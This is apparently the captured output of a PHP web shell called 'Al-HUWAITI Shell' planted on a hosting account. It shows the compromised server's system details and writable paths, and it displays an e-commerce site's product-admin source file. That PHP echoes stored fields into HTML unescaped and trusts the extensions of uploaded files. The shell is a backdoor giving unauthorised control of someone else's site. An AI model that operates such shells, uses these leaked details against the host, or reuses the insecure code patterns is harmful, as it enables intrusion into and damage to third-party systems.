Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/public_html/admin5352/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/public_html/admin5352/product_details.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("headerstrict.php"); ?>
<title><?php echo $company_name; ?>, Admin, Products</title>
<?php
if (isset($_GET['u'])){
	$product_id = mysqli_real_escape_string($con,$_GET['u']);
	$stmt = $con -> prepare('SELECT * FROM products WHERE product_id=?');
	$stmt -> bind_param('s',$product_id);
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$stmt -> bind_result($product_id,$product_cat,$product_brand,$product_title,$product_price,$product_desc,$product_image,$product_keywords,$old_price,$new_tag,$home_products,$tags,$in_stock,$featured,$picture2,$picture3,$picture4,$picture5,$picture6);
	$numrows = $stmt -> num_rows();
	if($numrows > 0){
	while ($stmt -> fetch()) { }
	}
	
}
else{echo "<meta http-equiv=\"refresh\" content=\"0; url=adminhome.php\">";exit();}
?>
<!-- ======= Breadcrumbs ======= -->
<section id="breadcrumbs" class="breadcrumbs">
  <div class="container"> </div>
</section>
<!-- End Breadcrumbs -->
<!-- ======= Contact Section ======= -->
<section id="contact" class="contact inner-page">
	<div class="container" data-aos="fade-up">

	<div class="section-title">
		<h2><?php echo $product_title; ?></h2>
		<p></p>
	</div>
	
	<?php echo"<form action='";?><?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"?u=$product_id' method='post' class='php-email-form1'enctype='multipart/form-data'>";?>
        <div class="row">
		<?php
		echo"			
		<div class='col-md-6'>	
			<div class='form-row'>
                <div class='form-group col-md-12'>
					Product Name
					<input type='text' name='product_title' class='form-control' placeholder='Product Name' value='$product_title' required /> 
                </div>
                <div class='form-group col-md-12'>
					Brief Description 
					<textarea name='product_desc' class='form-control' placeholder='Product Description' required>$product_desc</textarea>
                </div>
				<div class='form-group col-md-12'>
					In Stock?
					<select name='in_stock' class='form-control' required>
						<option value='$in_stock' selected>$in_stock</option>
						<option value='Yes'>Yes</option>
						<option value='No'>No</option>
					</select>
				</div>
				<div class='form-group col-md-12'>
					Display on homepage?
					<select name='home_products' class='form-control' required>
						<option value='$home_products' selected>$home_products</option>
						<option value='Yes'>Yes</option>
						<option value='No'>No</option>
					</select>
				</div>

				<div class='form-group col-md-12'>Category";?>
				<select name='product_cat' class="form-control" required>
					<?php
					$stmt = $con -> prepare('SELECT * FROM categories'); 
					$stmt -> execute(); 
					$stmt -> store_result(); 
					$stmt -> bind_result($product_cat_select,$category_name_select,$ha,$ho); 
					$numrows = $stmt -> num_rows();
					if($numrows > 0){
						while ($stmt -> fetch()) { 
						echo"			
						<option value='$product_cat_select'"; if($product_cat == $product_cat_select){echo"selected";} echo">$category_name_select</option>
						";
						}
					}
					else{echo"<option value=''>Please add a category first</option>";}
					?>
					</select>
				<?php echo"</div>
				<div class='form-group col-md-12'>
					Display New Tag
					<select name='new_tag' class='form-control' required>
						<option value='$new_tag' selected>$new_tag</option>
						<option value='Yes'>Yes</option>
						<option value='No'>No</option>
					</select>
				</div>
				<div class='form-group col-md-12'>
				Price
					<input type='number' name='product_price' class='form-control' placeholder='Current Price' value='$product_price'required /> 
                </div>
				
            </div>
			
			 <div class='form-row'>
                <div class='form-group col-md-12'>
					Main Image(Required)
					<img style='width:100%;border-radius:5px;'src='assets/img/products/$product_image' class='img-fluid' alt=''>
					<input type='file' name='file1' class='form-control'/> 
				</div>
			<br/>
			</div>
			
		
			
			
		
	
		</div>
		<div class='col-md-6'>	
		<div class='form-row'>
                <div class='form-group col-md-6'>
				Additional Images(Optional)<br/>
				";
					if($picture2 !==""){echo"<img style='width:250px;height:250px;border-radius:5px;'src='assets/img/products/$picture2' class='img-fluid' alt=''>";}
					
				echo"<input type='file' name='file2' class='form-control'/> 
				</div>
				<br/>

                <div class='form-group col-md-6'>
				Additional Images(Optional)<br/>
				";
					if($picture3 !==""){echo"<img style='width:250px;height:250px;border-radius:5px;'src='assets/img/products/$picture3' class='img-fluid' alt=''>";}
					
				echo"<input type='file' name='file3' class='form-control'/> 
				</div>
				<br/>
		
                <div class='form-group col-md-6'>
				Additional Images(Optional)<br/>
				";
					if($picture4 !==""){echo"<img style='width:250px;height:250px;border-radius:5px;'src='assets/img/products/$picture4' class='img-fluid' alt=''>";}
					
				echo"<input type='file' name='file4' class='form-control'/> 
				</div>
				<br/>
		
                <div class='form-group col-md-6'>
				Additional Images(Optional)<br/>
				";
					if($picture5 !==""){echo"<img style='width:250px;height:250px;border-radius:5px;'src='assets/img/products/$picture5' class='img-fluid' alt=''>";}
					
				echo"<input type='file' name='file5' class='form-control'/> 
				</div>
				<br/>
			
                <div class='form-group col-md-6'>
				Additional Images(Optional)<br/>
				";
					if($picture6 !==""){echo"<img style='width:250px;height:250px;border-radius:5px;'src='assets/img/products/$picture6' class='img-fluid' alt=''>";}
					
				echo"<input type='file' name='file6' class='form-control'/> 
				</div>
				<br/>
			</div>
		</div>
		 <div class='form-group col-md-12'>
		 <div class='text-center'>
				<button type='submit' name='update$product_id'>Update</button>
				<button type='submit' name='delete$product_id'>Delete</button>
			</div>
		 </div>
		";
		if (isset($_POST["update$product_id"])) {
			$product_cat = mysqli_real_escape_string($con,$_POST['product_cat']);
			$product_brand="";
			$product_title = mysqli_real_escape_string($con,$_POST['product_title']);
			$product_price = mysqli_real_escape_string($con,$_POST['product_price']);
			$product_desc = mysqli_real_escape_string($con,$_POST['product_desc']);
			$product_keywords="$product_title $product_desc";
		
			$new_tag = mysqli_real_escape_string($con,$_POST['new_tag']);
			$home_products = mysqli_real_escape_string($con,$_POST['home_products']);
			$tags="";
			$in_stock = mysqli_real_escape_string($con,$_POST['in_stock']);
			$featured="";
			
			if( ($_FILES["file1"]["type"]=="") == false ){
				$no=1;
				unlink("assets/img/products/$product_image");
				$pic_id = substr(md5(rand()), 0, 10);
				$extension = pathinfo($_FILES["file1"]["name"], PATHINFO_EXTENSION);
				include("upload_product_image.php");
				$product_image = "$pic_id.$extension";
			}
			
			if( ($_FILES["file2"]["type"]=="") == false ){
								$no=2;
				unlink("assets/img/products/$picture2");
				$pic_id = substr(md5(rand()), 0, 10);
				$extension = pathinfo($_FILES["file2"]["name"], PATHINFO_EXTENSION);
				include("upload_product_image.php");
				$picture2 = "$pic_id.$extension";
			}
			
			if( ($_FILES["file3"]["type"]=="") == false ){
								$no=3;
				unlink("assets/img/products/$picture3");
				$pic_id = substr(md5(rand()), 0, 10);
				$extension = pathinfo($_FILES["file3"]["name"], PATHINFO_EXTENSION);
				include("upload_product_image.php");
				$picture3 = "$pic_id.$extension";
			}
			
			if( ($_FILES["file4"]["type"]=="") == false ){
				$no=4;
				unlink("assets/img/products/$picture4");
				$pic_id = substr(md5(rand()), 0, 10);
				$extension = pathinfo($_FILES["file4"]["name"], PATHINFO_EXTENSION);
				include("upload_product_image.php");
				$picture4 = "$pic_id.$extension";
			}
			
			if( ($_FILES["file5"]["type"]=="") == false ){
				$no=5;
				unlink("assets/img/products/$picture5");
				$pic_id = substr(md5(rand()), 0, 10);
				$extension = pathinfo($_FILES["file5"]["name"], PATHINFO_EXTENSION);
				include("upload_product_image.php");
				$picture5 = "$pic_id.$extension";
			}
			if( ($_FILES["file6"]["type"]=="") == false ){
				$no=6;
				unlink("assets/img/products/$picture6");
				$pic_id = substr(md5(rand()), 0, 10);
				$extension = pathinfo($_FILES["file6"]["name"], PATHINFO_EXTENSION);
				include("upload_product_image.php");
				$picture6 = "$pic_id.$extension";
			}
			
			$stmt1 = $con -> prepare('UPDATE products SET 
			product_cat =?,
			product_title =?,
			product_price =?,
			product_desc =?,
			product_image=?,
			product_keywords =?,
			old_price=?,
			new=?,
			home_products=?,
			in_stock=?,
			picture2 =?,
			picture3 =?,
			picture4 =?,
			picture5 =?,
			picture6 =? WHERE product_id =?');
			$stmt1 -> bind_param('ssssssssssssssss',
			$product_cat,
			$product_title,
			$product_price,
			$product_desc,
			$product_image,
			$product_keywords,
			$old_price,
			$new_tag,
			$home_products,
			$in_stock,
			$picture2,
			$picture3,
			$picture4,
			$picture5,
			$picture6,
			$product_id);
			$stmt1 -> execute();
			
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Update was successfully done.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name?u=$product_id&m=$message\">";
		}
						
		if (isset($_POST["delete$product_id"])) {
			$stmt = $con -> prepare('DELETE FROM products WHERE product_id = ?');	
			$stmt -> bind_param('i', $product_id);
			$stmt -> execute();
			unlink("assets/img/products/$product_image");
			
			if($picture2 !==""){unlink("assets/img/products/$picture2");}
		    if($picture3 !==""){unlink("assets/img/products/$picture3");}
			if($picture4 !==""){unlink("assets/img/products/$picture4");}
			if($picture5 !==""){unlink("assets/img/products/$picture5");}
			if($picture6 !==""){unlink("assets/img/products/$picture6");}
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Product successfully deleted.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=products.php&m=$message\">";
		}
		
		
	
		?>
        </div><!-- end row -->
		</form>
		<br/></br>
		

    </div>
</section><!-- End Contact Section -->
<?php include("footer.php"); ?>

Al-HUWAITI Shell